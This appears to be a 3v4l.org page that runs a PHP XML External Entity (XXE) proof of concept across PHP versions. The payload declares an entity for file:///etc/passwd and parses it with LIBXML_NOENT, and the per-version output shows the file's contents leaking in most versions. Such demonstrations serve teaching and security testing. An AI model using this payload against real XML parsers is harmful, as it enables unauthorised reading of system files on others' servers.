3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'; $doc = new DOMDocument; $doc->loadXML($xml, LIBXML_NOENT); echo $doc->saveXML();
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.33, 7.4.3 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0::/root:/bin/bash </foo>
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.26, 7.3.0 - 7.3.13, 7.4.0 - 7.4.1
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin </foo>
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/sh nobody:x:99:99:nobody:/:/bin/false </foo>
Output for 5.0.0 - 5.0.5
Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/kgaHo on line 9 Warning: DOMDocument::loadXML() expects exactly 1 parameter, 2 given in /in/kgaHo on line 9 <?xml version="1.0"?>
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9
Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8

preferences:
296.25 ms | 401 KiB | 459 Q